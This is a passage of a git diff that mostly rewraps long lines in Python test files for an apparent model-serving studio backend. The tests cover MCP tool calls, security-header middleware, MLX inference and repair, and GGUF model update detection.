list(mcp_client._stdio_cfg_close_gen) + list(mcp_client._stdio_url_close_gen) + gen_keys = list(mcp_client._stdio_cfg_close_gen) + list( + mcp_client._stdio_url_close_gen + ) assert gen_keys # These maps are never pruned: neither command/URL nor env may persist. - assert all("sk-url-secret" not in repr(k) and "sk-env-secret" not in repr(k) for k in gen_keys) + assert all( + "sk-url-secret" not in repr(k) and "sk-env-secret" not in repr(k) + for k in gen_keys + ) def test_overlapping_calls_serialize_on_shared_session(fake_clients, monkeypatch): @@ -443,7 +472,9 @@ def test_overlapping_calls_serialize_on_shared_session(fake_clients, monkeypatch async def call_tool(self, name, args): OverlapDetect.active += 1 - OverlapDetect.max_active = max(OverlapDetect.max_active, OverlapDetect.active) + OverlapDetect.max_active = max( + OverlapDetect.max_active, OverlapDetect.active + ) try: await asyncio.sleep(0.2) return await super().call_tool(name, args) @@ -455,7 +486,9 @@ def test_overlapping_calls_serialize_on_shared_session(fake_clients, monkeypatch ) call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") workers = [ - threading.Thread(target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat")) + threading.Thread( + target = lambda: call_tool_sync(STDIO_URL, None, "t", {}, scope = "chat") + ) for _ in range(2) ] for worker in workers: @@ -477,7 +510,9 @@ def test_timeout_budget_spans_connect_and_call(fake_clients, monkeypatch): await asyncio.sleep(0.5) return await super().call_tool(name, args) - monkeypatch.setattr(mcp_client, "_client", lambda url, headers, use_oauth = False: SlowBoth(url)) + monkeypatch.setattr( + mcp_client, "_client", lambda url, headers, use_oauth = False: SlowBoth(url) + ) start = time.monotonic() # 0.4s connect + 0.5s call vs a 0.6s budget: the call must inherit only # the remaining ~0.2s, not a fresh full window. @@ -520,7 +555,9 @@ def test_execute_tool_mcp_scope_is_per_thread(tmp_path, monkeypatch): monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path)) monkeypatch.setattr(mcp_servers_db, "_schema_ready", False) monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True) - mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True + ) scopes: list = [] @@ -529,13 +566,22 @@ def test_execute_tool_mcp_scope_is_per_thread(tmp_path, monkeypatch): return "ok" monkeypatch.setattr(tools_mod, "call_tool_sync", fake_call_tool_sync) - tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-a") - tools_mod.execute_tool("mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-b") + tools_mod.execute_tool( + "mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-a" + ) + tools_mod.execute_tool( + "mcp__s1__t", {}, session_id = "project-p1", thread_id = "thread-b" + ) tools_mod.execute_tool("mcp__s1__t", {}, session_id = "sess-only") tools_mod.execute_tool("mcp__s1__t", {}, thread_id = "thread-a") # Persist only with a thread_id; session_id alone stays one-shot (None) so a # project-wide id can't leak state across conversations. Fields are tagged. - assert scopes == ["s=project-p1:t=thread-a", "s=project-p1:t=thread-b", None, "s=:t=thread-a"] + assert scopes == [ + "s=project-p1:t=thread-a", + "s=project-p1:t=thread-b", + None, + "s=:t=thread-a", + ] # IDs containing ":" must not collapse distinct conversations into one scope, # and a session-only id must never collide with a thread-only id. tools_mod.execute_tool("mcp__s1__t", {}, session_id = "a:b", thread_id = "c") @@ -553,10 +599,14 @@ def test_execute_tool_config_check_tracks_row(tmp_path, monkeypatch): monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(tmp_path)) monkeypatch.setattr(mcp_servers_db, "_schema_ready", False) monkeypatch.setattr(tools_mod, "stdio_mcp_enabled", lambda: True) - mcp_servers_db.create_server(id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True) + mcp_servers_db.create_server( + id = "s1", display_name = "S", url = STDIO_URL, is_enabled = True + ) captured: dict = {} - monkeypatch.setattr(tools_mod, "call_tool_sync", lambda **kw: captured.update(kw) or "ok") + monkeypatch.setattr( + tools_mod, "call_tool_sync", lambda **kw: captured.update(kw) or "ok" + ) tools_mod.execute_tool("mcp__s1__t", {}) check = captured["config_check"] assert check() is True diff --git a/studio/backend/tests/test_middleware.py b/studio/backend/tests/test_middleware.py index 11aeee6d77..8fa43e5b7c 100644 --- a/studio/backend/tests/test_middleware.py +++ b/studio/backend/tests/test_middleware.py @@ -165,7 +165,9 @@ class TestMaxBodyMiddleware: assert r.status_code == 200 assert r.json()["total"] == 512 - def test_upload_passthrough_rejects_declared_body_over_dedicated_cap(self, main_module): + def test_upload_passthrough_rejects_declared_body_over_dedicated_cap( + self, main_module + ): app = _make_protected_app( 128, main_module, @@ -267,7 +269,9 @@ class TestSecurityHeadersMiddleware: csp = r.headers["content-security-policy"] assert f"'nonce-{nonce}'" in csp # Internal handoff header must not leak to clients. - assert main_module._CSP_SCRIPT_NONCE_HEADER not in {k.lower() for k in r.headers.keys()} + assert main_module._CSP_SCRIPT_NONCE_HEADER not in { + k.lower() for k in r.headers.keys() + } def test_build_csp_helper_shape(self, main_module): plain = main_module._build_csp() @@ -378,7 +382,9 @@ class TestSecurityHeadersMiddleware: async def inner_app(scope, receive, send): seen["receive"] = receive await send({"type": "http.response.start", "status": 200, "headers": []}) - await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + await send( + {"type": "http.response.body", "body": b"ok", "more_body": False} + ) mw = main_module.SecurityHeadersMiddleware(inner_app) sentinel_receive = object() # forwarded verbatim, never wrapped/awaited diff --git a/studio/backend/tests/test_mlx_inference_backend.py b/studio/backend/tests/test_mlx_inference_backend.py index fafaea0043..53e9ae7b9b 100644 --- a/studio/backend/tests/test_mlx_inference_backend.py +++ b/studio/backend/tests/test_mlx_inference_backend.py @@ -116,7 +116,9 @@ def test_temporary_mlx_adapter_state_validates_requests(): with _temporary_mlx_adapter_state(base_model, True): pass - unsupported = _AdapterTree({"proj": SimpleNamespace(lora_a = object(), lora_b = object())}) + unsupported = _AdapterTree( + {"proj": SimpleNamespace(lora_a = object(), lora_b = object())} + ) with _temporary_mlx_adapter_state(unsupported, True): pass with pytest.raises(RuntimeError, match = "without their base modules"): @@ -136,7 +138,9 @@ def test_temporary_mlx_adapter_state_uses_real_mlx_module_tree(): class _Layer(nn.Module): def __init__(self): super().__init__() - quantized = nn.QuantizedLinear.from_linear(nn.Linear(32, 32), group_size = 32, bits = 4) + quantized = nn.QuantizedLinear.from_linear( + nn.Linear(32, 32), group_size = 32, bits = 4 + ) self.quantized_proj = LoRALinear.from_base(quantized) self.dora_proj = DoRALinear.from_base(nn.Linear(4, 4)) @@ -295,7 +299,9 @@ def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch): config = SimpleNamespace(identifier = "fake/vlm", is_vision = True, is_lora = False) for mode, group_key in (("tensor", "tensor_group"), ("pipeline", "pipeline_group")): calls.clear() - assert MLXInferenceBackend().load_model(config, parallel_mode = mode, distributed_group = group) + assert MLXInferenceBackend().load_model( + config, parallel_mode = mode, distributed_group = group + ) _, kwargs = calls.pop() assert kwargs["text_only"] is False and kwargs[group_key] is group @@ -308,7 +314,9 @@ def test_mlx_inference_distributed_vlm_forwards_group_to_fast_mlx(monkeypatch): config = SimpleNamespace(identifier = "fake/adapter", is_vision = False, is_lora = True) with pytest.raises(ValueError, match = "LoRA adapter repos"): - MLXInferenceBackend().load_model(config, parallel_mode = "tensor", distributed_group = group) + MLXInferenceBackend().load_model( + config, parallel_mode = "tensor", distributed_group = group + ) @pytest.mark.parametrize("accepts_backend", (True, False)) @@ -330,7 +338,9 @@ def test_mlx_distributed_init_selects_jaccl_backend(monkeypatch, accepts_backend monkeypatch.setenv("MLX_IBV_DEVICES", "/tmp/devices.json") assert _init_mlx_distributed() == (group, 1, 2) - assert calls == ([{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}]) + assert calls == ( + [{"backend": "jaccl"}] if accepts_backend else [{"backend": "jaccl"}, {}] + ) def test_worker_share_object_receives_distributed_payload(monkeypatch): @@ -479,7 +489,17 @@ def test_mlx_vlm_reemits_think_prefill_inside_adapter_context(monkeypatch): backend = MLXInferenceBackend() backend._model = SimpleNamespace(config = {"model_type": "deepseek_vl_v2"}) backend._processor = SimpleNamespace(tokenizer = SimpleNamespace()) - args = ([{"role": "user", "content": [{"type": "image"}]}], object(), 0, 1, 0, 0, 1, 1, None) + args = ( + [{"role": "user", "content": [{"type": "image"}]}], + object(), + 0, + 1, + 0, + 0, + 1, + 1, + None, + ) gen = backend._generate_vlm(*args, _adapter_state = False) # First snapshot is the prefill alone, emitted after entering the adapter context. @@ -545,7 +565,17 @@ def test_mlx_vlm_generation_selects_renderer_by_capability(monkeypatch): backend = MLXInferenceBackend() backend._model = SimpleNamespace(config = {"model_type": "deepseek_vl_v2"}) backend._processor = SimpleNamespace(tokenizer = SimpleNamespace()) - args = ([{"role": "user", "content": [{"type": "image"}]}], object(), 0, 1, 0, 0, 1, 1, None) + args = ( + [{"role": "user", "content": [{"type": "image"}]}], + object(), + 0, + 1, + 0, + 0, + 1, + 1, + None, + ) tools = [{"function": {"name": "search"}}] generator = backend._generate_vlm(*args, _adapter_state = False) assert next(generator) == "ok" @@ -560,12 +590,16 @@ def test_mlx_vlm_generation_selects_renderer_by_capability(monkeypatch): list(backend._generate_vlm(*args, enable_thinking = False)) backend._processor = SimpleNamespace(chat_template = "template") state["generic"] = " healthy generic" - assert list(backend._generate_vlm(*args, tools = tools, enable_thinking = False)) == ["ok"] + assert list(backend._generate_vlm(*args, tools = tools, enable_thinking = False)) == [ + "ok" + ] assert calls["generic"][-1]["enable_thinking"] is False assert calls["stream"][-1][0][2] == " healthy generic" state["generic"] = "generic prompt" text_messages = [{"role": "user", "content": "hello"}] - assert list(backend._generate_vlm(*((text_messages, None) + args[2:]), tools = tools)) == ["ok"] + assert list( + backend._generate_vlm(*((text_messages, None) + args[2:]), tools = tools) + ) == ["ok"] assert calls["generic"][-1]["tools"] == tools assert calls["stream"][-1][0][2] == "generic prompt" two_images = [{"role": "user", "content": [{"type": "image"}, {"type": "image"}]}] @@ -582,10 +616,16 @@ def test_mlx_vlm_generation_selects_renderer_by_capability(monkeypatch): def test_mlx_vlm_image_injection_reuses_media_aliases(monkeypatch): - from core.inference.mlx_inference import MLXInferenceBackend, _prompt_serializes_vlm_media + from core.inference.mlx_inference import ( + MLXInferenceBackend, + _prompt_serializes_vlm_media, + ) media = [{"type": "image"}] - quoted = [{"role": "user", "content": media}, {"role": "user", "content": f"Explain {media}"}] + quoted = [ + {"role": "user", "content": media}, + {"role": "user", "content": f"Explain {media}"}, + ] assert _prompt_serializes_vlm_media(f"\n{media[0]}", quoted[:1]) assert not _prompt_serializes_vlm_media(f"\nExplain {media}", quoted) assert _prompt_serializes_vlm_media(f"User: {media}\nExplain {media}", quoted) @@ -593,7 +633,9 @@ def test_mlx_vlm_image_injection_reuses_media_aliases(monkeypatch): assert not _prompt_serializes_vlm_media(f'\nExplain "this" {media}', quoted) json_media = [{"type": "image_url"}] json_repr = '{"type": "image_url"}' - assert _prompt_serializes_vlm_media(f"\n{json_repr}", [{"content": json_media}]) + assert _prompt_serializes_vlm_media( + f"\n{json_repr}", [{"content": json_media}] + ) assert not _prompt_serializes_vlm_media( f"\nExplain {json_repr}", [{"content": json_media}, {"content": f"Explain {json_repr}"}], @@ -616,9 +658,14 @@ def test_mlx_vlm_model_config_prefers_config_with_model_type(): # config present but missing model_type must fall back to _config m = SimpleNamespace(config = {}, _config = {"model_type": "deepseek_vl_v2"}) - assert _mlx_vlm_model_config(m) == ({"model_type": "deepseek_vl_v2"}, "deepseek_vl_v2") + assert _mlx_vlm_model_config(m) == ( + {"model_type": "deepseek_vl_v2"}, + "deepseek_vl_v2", + ) # an object config whose model_type is None also falls back - m = SimpleNamespace(config = SimpleNamespace(model_type = None), _config = {"model_type": "qwen2_vl"}) + m = SimpleNamespace( + config = SimpleNamespace(model_type = None), _config = {"model_type": "qwen2_vl"} + ) assert _mlx_vlm_model_config(m)[1] == "qwen2_vl" # a config that already carries a model_type is preferred and returned unchanged assert _mlx_vlm_model_config(SimpleNamespace(config = {"model_type": "gemma3"})) == ( @@ -641,7 +688,9 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch): captured_calls = [] def _fake_apply(tokenizer, messages, **kwargs): - captured_calls.append({"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs}) + captured_calls.append( + {"tokenizer": tokenizer, "messages": messages, "kwargs": kwargs} + ) return "" monkeypatch.setattr( @@ -730,7 +779,9 @@ def test_mlx_generate_text_forwards_kwargs_into_template_helper(monkeypatch): assert adapter_events[-2:] == [("enter", False), ("exit", False)] assert not backend._generation_lock.locked() - monkeypatch.setattr(mlx_inference, "_temporary_mlx_adapter_state", real_adapter_state) + monkeypatch.setattr( + mlx_inference, "_temporary_mlx_adapter_state", real_adapter_state + ) monkeypatch.setattr( "core.inference.chat_template_helpers.detect_think_prefill", lambda *_args, **_kwargs: "", @@ -872,7 +923,10 @@ def test_mlx_text_native_metadata_preserves_prefilled_think_snapshots(monkeypatc "\nreason", "\nreasonanswer", ] - assert all(current.startswith(previous) for previous, current in zip(snapshots, snapshots[1:])) + assert all( + current.startswith(previous) + for previous, current in zip(snapshots, snapshots[1:]) + ) def test_mlx_vlm_normalizes_native_reasoning_channels(monkeypatch): diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py index 47a695ccbd..895ad8f2d4 100644 --- a/studio/backend/tests/test_mlx_repair.py +++ b/studio/backend/tests/test_mlx_repair.py @@ -37,7 +37,9 @@ def test_uv_cmd_targets_this_interpreter_with_mlx_packages(monkeypatch): assert "mlx-vlm>=0.4.4" in cmd -def test_uv_executable_finds_installer_location_when_path_is_minimal(monkeypatch, tmp_path): +def test_uv_executable_finds_installer_location_when_path_is_minimal( + monkeypatch, tmp_path +): uv = tmp_path / ".local" / "bin" / "uv" uv.parent.mkdir(parents = True) uv.write_text("#!/bin/sh\n", encoding = "utf-8") @@ -67,7 +69,10 @@ def test_constraint_pins_installed_transformers(monkeypatch): try: assert args[:1] == ["--constraint"] assert args[1] == path - assert Path(path).read_text().strip() == f"transformers=={transformers.__version__}" + assert ( + Path(path).read_text().strip() + == f"transformers=={transformers.__version__}" + ) finally: if path: Path(path).unlink(missing_ok = True) @@ -208,7 +213,9 @@ def test_repair_invalidates_import_caches_before_stack_check(monkeypatch): monkeypatch.setattr(mr.subprocess, "run", lambda *a, **k: _Result()) monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv") monkeypatch.setattr(mr, "_transformers_constraint_args", lambda: ([], None)) - monkeypatch.setattr(mr.importlib, "invalidate_caches", lambda: events.append("invalidate")) + monkeypatch.setattr( + mr.importlib, "invalidate_caches", lambda: events.append("invalidate") + ) monkeypatch.setattr(mr, "mlx_stack_available", _stack_available) assert mr.attempt_mlx_repair() is True @@ -289,7 +296,9 @@ def test_known_bad_installed_mlx_lm_triggers_repair(monkeypatch, bad_form): monkeypatch.setattr(metadata, "version", _version) monkeypatch.setattr( - mr.importlib, "import_module", lambda _n: pytest.fail("versions must gate imports") + mr.importlib, + "import_module", + lambda _n: pytest.fail("versions must gate imports"), ) assert mr.mlx_stack_available() is False @@ -298,7 +307,9 @@ def test_no_op_off_apple_silicon(monkeypatch): monkeypatch.setattr(mr, "is_apple_silicon", lambda: False) called = {"n": 0} monkeypatch.setattr( - mr, "attempt_mlx_repair", lambda **_k: called.__setitem__("n", called["n"] + 1) or True + mr, + "attempt_mlx_repair", + lambda **_k: called.__setitem__("n", called["n"] + 1) or True, ) assert mr.start_mlx_autorepair_if_needed() is False assert called["n"] == 0 @@ -338,7 +349,9 @@ def test_apple_silicon_missing_mlx_starts_repair_and_redetects(monkeypatch): import utils.hardware.hardware as hw - monkeypatch.setattr(hw, "detect_hardware", lambda: redetected.__setitem__("called", True)) + monkeypatch.setattr( + hw, "detect_hardware", lambda: redetected.__setitem__("called", True) + ) started = mr.start_mlx_autorepair_if_needed() assert started is True diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py index 14fc0933d0..2d7c31b466 100644 --- a/studio/backend/tests/test_mlx_training_worker_config.py +++ b/studio/backend/tests/test_mlx_training_worker_config.py @@ -45,8 +45,12 @@ def _load_worker_module(): setattr(wheel_utils, name, lambda *_args, **_kwargs: None) sys.modules["utils.wheel_utils"] = wheel_utils - worker_path = Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py" - spec = importlib.util.spec_from_file_location("mlx_training_worker_under_test", worker_path) + worker_path = ( + Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py" + ) + spec = importlib.util.spec_from_file_location( + "mlx_training_worker_under_test", worker_path + ) module = importlib.util.module_from_spec(spec) assert spec.loader is not None spec.loader.exec_module(module) @@ -86,7 +90,9 @@ def test_mlx_studio_rejects_unknown_scheduler(): def test_mlx_studio_keeps_hf_style_tokenizer_dual_purpose(): - source = (Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py").read_text() + source = ( + Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py" + ).read_text() assert "tokenizer = tokenizer" in source assert "processor = tokenizer if is_vlm else None" not in source @@ -96,10 +102,13 @@ def test_mlx_wandb_run_config_excludes_subject_and_secrets(): # The MLX W&B run config uploads the whole config minus a sensitive set. The owner's # subject (authenticated username / API-key id) must be filtered alongside the secrets, # otherwise it lands in W&B run config even though DB history already strips it. - source = (Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py").read_text() + source = ( + Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py" + ).read_text() assert ( - '_wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}' in source + '_wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}' + in source ), "MLX W&B run config must exclude subject and the token/s3 secrets" @@ -156,7 +165,9 @@ def test_mlx_vlm_resized_image_layout_probes_processor_contract(): == "chw" ) assert ( - _mlx_vlm_resized_image_layout(types.SimpleNamespace(image_processor = HwcImageProcessor())) + _mlx_vlm_resized_image_layout( + types.SimpleNamespace(image_processor = HwcImageProcessor()) + ) is None ) @@ -175,7 +186,9 @@ def test_mlx_vlm_layout_probe_copies_image_processor(): image_processor = StatefulImageProcessor() - layout = _mlx_vlm_resized_image_layout(types.SimpleNamespace(image_processor = image_processor)) + layout = _mlx_vlm_resized_image_layout( + types.SimpleNamespace(image_processor = image_processor) + ) assert layout == "chw" assert image_processor.calls == 0 diff --git a/studio/backend/tests/test_model_ids.py b/studio/backend/tests/test_model_ids.py index f9116afec3..d3a40eec78 100644 --- a/studio/backend/tests/test_model_ids.py +++ b/studio/backend/tests/test_model_ids.py @@ -12,7 +12,10 @@ from core.inference.model_ids import model_id_matches, public_model_id # noqa: def test_local_gguf_path_becomes_clean_stem(): - assert public_model_id("/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf") == "Qwen3-30B-A3B-Q4_K_M" + assert ( + public_model_id("/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf") + == "Qwen3-30B-A3B-Q4_K_M" + ) assert public_model_id("/home/u/.cache/models/llama.gguf") == "llama" diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py index edf55812e2..88f2e518c4 100644 --- a/studio/backend/tests/test_model_update_robustness.py +++ b/studio/backend/tests/test_model_update_robustness.py @@ -167,7 +167,9 @@ def test_variant_update_check_missing_remote_blob_id_is_not_phantom_update( assert q4.update_available is False -def test_variant_update_check_detects_update_from_existing_siblings(tmp_path, patch_hub_gguf): +def test_variant_update_check_detects_update_from_existing_siblings( + tmp_path, patch_hub_gguf +): repo = "unsloth/gemma-3-4b-it-GGUF" patch_hub_gguf.apply( tmp_path, @@ -265,7 +267,9 @@ def test_variant_update_check_detects_companion_only_update( assert q4.update_available is True -def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, patch_hub_gguf): +def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback( + tmp_path, patch_hub_gguf +): repo = "unsloth/gemma-3-4b-it-GGUF" patch_hub_gguf.apply( tmp_path, @@ -279,7 +283,9 @@ def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, pa ), ) resp = _call(GV.get_gguf_variants_response(repo)) - assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + assert ( + next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + ) patch_hub_gguf.apply( tmp_path, @@ -293,7 +299,9 @@ def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, pa ), ) resp = _call(GV.get_gguf_variants_response(repo)) - assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + assert ( + next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False + ) def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path): @@ -352,7 +360,9 @@ def test_force_download_is_forwarded_through_the_shim(monkeypatch): seen.append(kwargs.get("force_download")) return "/downloaded/path" - monkeypatch.setattr(X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True) + monkeypatch.setattr( + X, "_shared_hf_hub_download_with_xet_fallback", fake_shared, raising = True + ) X.hf_hub_download_with_xet_fallback( "unsloth/repo", "model.gguf", token = None, force_download = False @@ -360,7 +370,10 @@ def test_force_download_is_forwarded_through_the_shim(monkeypatch): X.hf_hub_download_with_xet_fallback( "unsloth/repo", "model.gguf", token = None, force_download = True ) - assert seen == [False, True] # the shim forwards force_download to the shared helper unchanged + assert seen == [ + False, + True, + ] # the shim forwards force_download to the shared helper unchanged # ── multi-revision GGUF blob comparison and update reclaim ── @@ -374,7 +387,10 @@ def test_force_download_is_forwarded_through_the_shim(monkeypatch): def _rev(*files): return SimpleNamespace( - files = [SimpleNamespace(file_name = name, blob_path = f"/blobs/{blob}") for name, blob in files] + files = [ + SimpleNamespace(file_name = name, blob_path = f"/blobs/{blob}") + for name, blob in files + ] ) @@ -388,7 +404,9 @@ def test_repo_gguf_blob_map_collects_all_revision_blobs(): _rev(("lfm2-350m-q4_k_m.gguf", "NEWsha")), ], ) - assert CI._repo_gguf_blob_map(repo_info) == {"lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"}} + assert CI._repo_gguf_blob_map(repo_info) == { + "lfm2-350m-q4_k_m.gguf": {"OLDsha", "NEWsha"} + } # ── no-symlink (Windows without Developer Mode) GGUF update detection ── @@ -493,7 +511,10 @@ def test_no_symlink_cache_matching_remote_size_reports_no_update(): requirement = _requirement(("model-Q4_K_M.gguf", 4096, "REMOTEsha256")) assert ( - GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False + GV._variant_update_available_from_requirement( + local_blobs, requirement, "Q4_K_M" + ) + is False ) @@ -502,7 +523,12 @@ def test_no_symlink_cache_with_different_remote_size_still_reports_update(): local_blobs = {"model-Q4_K_M.gguf": {CI.local_size_identity(4096)}} requirement = _requirement(("model-Q4_K_M.gguf", 8192, "REMOTEsha256")) - assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True + assert ( + GV._variant_update_available_from_requirement( + local_blobs, requirement, "Q4_K_M" + ) + is True + ) def test_symlinked_cache_with_stale_blob_still_reports_update(): @@ -511,7 +537,12 @@ def test_symlinked_cache_with_stale_blob_still_reports_update(): local_blobs = {"model-Q4_K_M.gguf": {"OLDsha"}} requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha")) - assert GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is True + assert ( + GV._variant_update_available_from_requirement( + local_blobs, requirement, "Q4_K_M" + ) + is True + ) def test_symlinked_cache_with_current_blob_reports_no_update(): @@ -520,7 +551,10 @@ def test_symlinked_cache_with_current_blob_reports_no_update(): requirement = _requirement(("model-Q4_K_M.gguf", 4096, "NEWsha")) assert ( - GV._variant_update_available_from_requirement(local_blobs, requirement, "Q4_K_M") is False + GV._variant_update_available_from_requirement( + local_blobs, requirement, "Q4_K_M" + ) + is False ) @@ -582,7 +616,9 @@ def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp lambda: [SimpleNamespace(repos = [repo_info])], ) invalidated = [] - monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True)) + monkeypatch.setattr( + CI, "invalidate_hf_cache_scans", lambda: invalidated.append(True) + ) result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"NEWsha"})) @@ -599,7 +635,9 @@ def test_reclaim_replaced_gguf_variant_prunes_old_revision_only(monkeypatch, tmp assert invalidated == [True] -def test_reclaim_replaced_gguf_variant_keeps_no_symlink_current_file(monkeypatch, tmp_path): +def test_reclaim_replaced_gguf_variant_keeps_no_symlink_current_file( + monkeypatch, tmp_path +): """No-symlink cache (Windows without Developer Mode): the moved GGUF lives directly in snapshots/ and blobs/ is empty, so scan_cache_dir reports blob_path == the snapshot file and its name is the FILENAME, not an etag. @@ -622,16 +660,22 @@ def test_reclaim_replaced_gguf_variant_keeps_no_symlink_current_file(monkeypatch SimpleNamespace( file_name = "model-Q4_K_M.gguf", file_path = str(snap), - blob_path = str(snap), # no-symlink: blob_path == the snapshot file + blob_path = str( + snap + ), # no-symlink: blob_path == the snapshot file ) ] ) ], ) - monkeypatch.setattr(CI, "all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo_info])]) + monkeypatch.setattr( + CI, "all_hf_cache_scans", lambda: [SimpleNamespace(repos = [repo_info])] + ) monkeypatch.setattr(CI, "invalidate_hf_cache_scans", lambda: None) - result = D.reclaim_replaced_gguf_variant(repo_id, "Q4_K_M", frozenset({"REMOTEsha256"})) + result = D.reclaim_replaced_gguf_variant( + repo_id, "Q4_K_M", frozenset({"REMOTEsha256"}) + ) assert snap.exists() is True # the current file must survive assert result["removed_snapshots"] == 0 diff --git a/studio/backend/tests/test_models_get_model_config_case_resolution.py b/studio/backend/tests/test_models_get_model_config_case_resolution.py index 12f6c497ab..d7bfd08339 100644 --- a/studio/backend/tests/test_models_get_model_config_case_resolution.py +++ b/studio/backend/tests/test_models_get_model_config_case_resolution.py @@ -50,7 +50,9 @@ def test_get_model_config_resolves_cached_case_before_model_checks(monkeypatch): return _DummyModelConfig() monkeypatch.setattr(models_route, "is_local_path", lambda _: False) - monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda _: "Org/Model") + monkeypatch.setattr( + models_route, "resolve_cached_repo_id_case", lambda _: "Org/Model" + ) monkeypatch.setattr(models_route, "load_model_defaults", _record_load) monkeypatch.setattr(models_route, "is_vision_model", _record_vision) monkeypatch.setattr(models_route, "is_embedding_model", _record_embedding) @@ -79,7 +81,9 @@ def test_get_model_config_resolves_cached_case_before_model_checks(monkeypatch): assert calls["from_identifier"] == "Org/Model" -def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, monkeypatch): +def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache( + tmp_path, monkeypatch +): # A case-variant in a legacy/default cache must read as present (case resolution only # covers the active cache; discard deletes case-insensitively, so detection must too, # else a decline deletes a pre-existing user repo). diff --git a/studio/backend/tests/test_mtp_drafter_companion.py b/studio/backend/tests/test_mtp_drafter_companion.py index 02230632b6..f6bef6a2bd 100644 --- a/studio/backend/tests/test_mtp_drafter_companion.py +++ b/studio/backend/tests/test_mtp_drafter_companion.py @@ -207,7 +207,9 @@ def test_detect_mtp_file_search_root(tmp_path): sub.mkdir() (sub / "gemma-4-12b-it-Q4_K_M.gguf").write_bytes(b"x") (tmp_path / "mtp-gemma-4-12b-it.gguf").write_bytes(b"x") - found = detect_mtp_file(str(sub / "gemma-4-12b-it-Q4_K_M.gguf"), search_root = str(tmp_path)) + found = detect_mtp_file( + str(sub / "gemma-4-12b-it-Q4_K_M.gguf"), search_root = str(tmp_path) + ) assert found is not None and found.endswith("mtp-gemma-4-12b-it.gguf") @@ -376,11 +378,15 @@ def test_download_mtp_reuses_cached_root_drafter_offline(tmp_path, monkeypatch): ) monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) - got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + got = LlamaCppBackend()._download_mtp( + hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF" + ) assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it.gguf" -def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, monkeypatch): +def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline( + tmp_path, monkeypatch +): # Pre-fix build may have fetched only the MTP/ copy; reuse it offline. import utils.models.model_config as mc from core.inference.llama_cpp import LlamaCppBackend @@ -395,7 +401,9 @@ def test_download_mtp_reuses_cached_subdir_copy_when_no_root_offline(tmp_path, m ) monkeypatch.setattr(mc, "_iter_hf_cache_snapshots", lambda repo: [snap]) - got = LlamaCppBackend()._download_mtp(hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF") + got = LlamaCppBackend()._download_mtp( + hf_repo = "unsloth/gemma-4-E4B-it-qat-mobile-GGUF" + ) assert got is not None and Path(got).name == "mtp-gemma-4-E4B-it-BF16.gguf" @@ -406,11 +414,17 @@ def test_download_mtp_prefers_root_across_snapshots_offline(tmp_path, monkeypatc from core.inference.llama_cpp import LlamaCppBackend monkeypatch.setenv("HF_HUB_OFFLINE", "1") - snap_partial = _seed_snapshot(tmp_path / "new", ["MTP/mtp-gemma-4-E4B-it-BF16.gguf"]) + snap_partial = _seed_snapshot( + tmp_path / "new", 